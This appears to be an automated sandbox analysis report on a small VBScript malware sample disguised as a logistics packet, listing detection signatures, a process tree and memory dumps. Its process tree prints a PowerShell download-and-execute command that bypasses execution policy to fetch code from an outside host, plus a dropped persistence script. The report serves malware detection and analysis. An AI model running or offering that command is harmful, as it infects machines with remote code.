Analysis
- max time kernel
148s - max time network
143s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
18/07/2026, 08:47
General
- Target EASTERN_EXPRESS_LOGISTICS_PACKET_NEW.vbs
- Size 153B
- Sample260718-kp7jfaet7k
- SHA256 ea8fcad382a64ad10f139ba40fa81dc597cd779eda8a6fdadd5125fb96471c5f
Malware Config
Signatures
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 43 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\EASTERN_EXPRESS_LOGISTICS_PACKET_NEW.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -c "irm https://google.defenders.workers.dev/p/1 | iex"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wscript.exe"C:\Windows\system32\wscript.exe" //nologo "C:\Users\Admin\AppData\Local\WebServer-YRWKJLDU\nodeupdate.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\system32\wscript.exeC:\Windows\system32\wscript.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
nodeupdate.vbs
memory/4964-18-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-25-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-5-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-6-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-7-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-8-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-9-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-10-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-11-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-12-0x000001B678660000-0x000001B678822000-memory.dmp
memory/4964-16-0x000001B678590000-0x000001B678642000-memory.dmp
memory/4964-15-0x000001B6780E0000-0x000001B6780FE000-memory.dmp
memory/4964-17-0x000001B6780D0000-0x000001B6780DA000-memory.dmp
memory/4964-0-0x00007FFE8B8FF000-0x00007FFE8B900000-memory.dmp
memory/4964-4-0x000001B678050000-0x000001B678072000-memory.dmp
memory/4964-19-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-27-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-20-0x000001B678830000-0x000001B67884E000-memory.dmp
memory/4964-23-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-24-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-21-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-26-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-22-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-29-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-30-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-31-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-32-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-34-0x000001B6780D0000-0x000001B6780DA000-memory.dmp
memory/4964-38-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4964-1-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp